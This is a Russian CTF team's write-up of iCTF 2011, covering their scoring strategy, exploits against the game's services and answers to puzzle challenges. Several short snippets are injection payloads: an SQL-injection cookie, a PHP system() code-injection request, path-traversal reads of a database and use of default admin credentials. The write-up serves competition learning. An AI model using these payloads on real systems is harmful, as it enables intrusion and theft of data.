iCTF 2011
Team More Smoked Leet Chicken

Intro

CTF's are a really great way to practice security skills and get a lot of fun along the way. iCTF is one of the oldest and well-known CTFs, so we’ve decided to take part without any doubts. Every year iCTF introduces a new ctf style and it is very interesting to explore it!

Team

More Smoked Leet Chicken was created as an alliance of two Russian teams: Leet More and Smoked Chicken. It wasn't first time we played together: we took 3rd place at RWTH CTF (by OldEurope) and won 1st place at Enowars (by ENOFLAG). Also both our teams have been participating in CTF's for a long time. Leet More is playing iCTF since 2008 (it was known as CIT back then).

LeetMore's team members are mostly the students of National Research University of Information Technologies, Mechanics and Optics (St.Petersburg). The team is not very big – there are 7 members, while usually there are just 3-4 persons playing.

http://leetmore.ctf.su/
https://twitter.com/leetmore

The SmokedChicken team was created back in 2006. The team regularly takes part in CTF and CTF-like contests. SmokedChicken is one of the most experienced CTF teams in Russia. 3 to 5 persons are the backbone of the team, while other participants may come and go as the time goes by.

http://smokedchicken.org/
https://twitter.com/smokedchix

Preparation

Once we've got a ctf's description we realized we need to prepare something to use for making money laundering decisions: how much launder, when, etc. We called it a Decision-Making Module. Since we didn't have much formulas, we didn't know where to start with.

After thoughts we made up some formulas, and wrote a script to maximize the expectation value of laundered money. It was based on some kind of floating edge. The edge is a minimum percent of money that we expect to get. When a lot of money fit the edge it's increasing a bit, and it's decreasing when no money are laundered. That looked nice, so we left that as it was until the ctf.

Competition

After the real formulas and format were given, we fixed our DMM. Everything looked perfect.

We started to solve challenges, and some members were busy with the services. When we got first flags (as I remember, they were from test.php script, which just gave the flags), we had nearly $1500. Here was a funny moment: our DMM showed that we can convert it with a very high rate and 0% risk. First we wanted to convert them all, but finally converted only $100 – and, of course, they flaw away. That's how we found that risk value isn't calculated right in our DMM. We tried to fix it – but with no results. We are pretty sure it was our main failure.
Since then, we laundered money manually – launder $1 and look what are risks and payoff to decide how much money to launder. And of course we laundered by $1 at a time – there were enough flags.

There was also one problem – our exploiting system didn't tracked which service a flag belongs to. So we needed to fix it. A bad thing also was that some exploits (like fetching test.php) gave flags for different services at one time, so they couldn't be splitted.

The laundering was not very fast – so we laundered a lot of money then, because we didn't want to leave them. It was also a bad idea, because we've got a lot of better flags and raised our defense rate later.

Though we failed at converting money, we also hadn't managed with some easy challenges (we understood it after the ctf).

**Walkthrough**

**Services**

*mulemanager* was the easiest service to start with. *test.php* simply gave flags and it was very easy to automate. A good thing was that it gave flags from two different services – but it was and a bad thing too for our DMM. Also we used default *admin/admin* credentials to get flags.

*sendalert* was exploited rather late but it was our savior – its flags were really nice for laundering. The exploit looked like:

```
sock.send("GET /status HTTP/1.1
Cookie: alertsession=' or 1<>2 order by data desc --- g\n\n")
```

*convicts* was simple to exploit too using bash internal commands:

```
tn.write("for i in ./cafeteria/cupboard/*; do read a < $i; echo $a; done\n")
```

*ips* was a nice service, genius in its simplicity. We quickly discovered *list.py*, but it wasn't working due to packet blocking (though one team had ips kernel module off so it worked). Sadly, we failed at using Range header and tcp window contraction didn't come to our minds.

*muleadmin*. We found RCE here, but not sure if it worked:

```
req("http://" + ip + "/~muleadmin/cgi-bin/groups?
operation=add&submit=Create+Group&ticket=./../public_html/cgi-bin/groups&group=<?php
system(base64_decode(" + b64encode(code) + ");?>")
```

Also we found a path traversal bug: we registered a test user and fetched url

```
http://IP/~muleuser/cgi-bin/sendmessage
```

*mailgateway*. We had an exploit for this, but rather unstable, and flags were not very good so we didn't sharpen it.

*egoats* had a path traversal bug:

```
s.send('STATUS ../../../../home/egoats/db/production.sqlite3\nHost: localhost\n\n')
```

**Challenges**

It's hard to get information from the team about who solved the challenge, so sorry that we don't
provide information on all the challenges we solved during the ctf.

**Challenge 9.**
whois -> Yan Shoshitaishvili -> [http://whois.domaintools.com/0x69637466.info](http://whois.domaintools.com/0x69637466.info) -> [https://sites.google.com/a/0x69637466.info/ictf/](https://sites.google.com/a/0x69637466.info/ictf/) -> I@mD@Sh3rl0k0fth31nt3rz.

**Challenge 11.**
In source code we could find only a hint. But we really know only one good film with Angelina Jolie, it's “Hackers”. Reverse in leetspeech of this word seems like “5r3kc4h”.

**Challenge 15.**
Just interpret brainfuck.

**Challenge 19.**
This is a sky astronomical coordinates of Helix Nebula (NGC 7293) => Helix

**Challenge 23.**
After unpacking a lot of different archive levels, we had got a file "account.bin". First, we decided it's an executable, but after checking it's strings we found a flag: 499550439979-125084150537

**Challenge 27.**
The flag is in the spectre of the right channel: FONKY STEADY BLD.

**Challenge 29.**
Unpack and reconstruct the key from dwords:
Enter key: 529a1427074a1208b9ca1c4564738291dc3f91455763ccb1
Bank account: 2526390575284-60846167886

**Challenge 30.**
Guess xor key to decrypt as zip file. Guess image bases in functions in both files and rewrite them in C.
Bank account: 1615944358326-32680530047

**Challenge 31.**
Find the correct code in .data and get the bank account:
Correct code is: 6b90ca12fec1b723e7b49c1092fecn4a75efc8b71e9b3a37
Secret bank information: 7507067699078-37914640262

**Challenge 32.**
Bruteforce the input data, and get the correct code:
Secret code: 45ffbc653fa591d884a44e3e39ab7175e4840408bebaadde
Bank account info: 9402901303833-67249270571

**Challenge 33.**
Carve JPEG from the file. It contains bank account.
Challenge 37.
Deobfuscate JS, `document.getElementById("miracolo").flag = "didyouusewepawetagain?";`

Challenge 38.
Deobfuscate JS, an array `afla[] -> 'toomanylayersonmylasagna'` contains the flag.

Challenge 40.
Easy task for simple grep command or for any text editor with Ctrl+F. First of all we have a dump of Twitter API data, with huge amount of retweets. Every tweet has a retweet_count param, so the first tweet has `retweet_count == 0`. This first tweet has a (Mon Jul 04 06:24:32 +0000 2011) date, in UNIX timestamp format 1309760672. Bingo.

Challenge 43.
Whitespace code, producing whitespace code. Looks like they are the same. The answer is `quine`.

Challenge 48.
Two barcodes:
- U0VoNUcwc (1.png)
- kluczgK (2.png)
DeBase64:
- SEh5G0rMns8 => `youtube` => Kancho.

Challenge 50.
Google the md5: `firstblood`

Summary
During the ctf we had a lot of fun and learnt a lot of things. The balance was really good and the competition spirit was present till the final seconds! We are very grateful to iCTF organizers for such awesome event!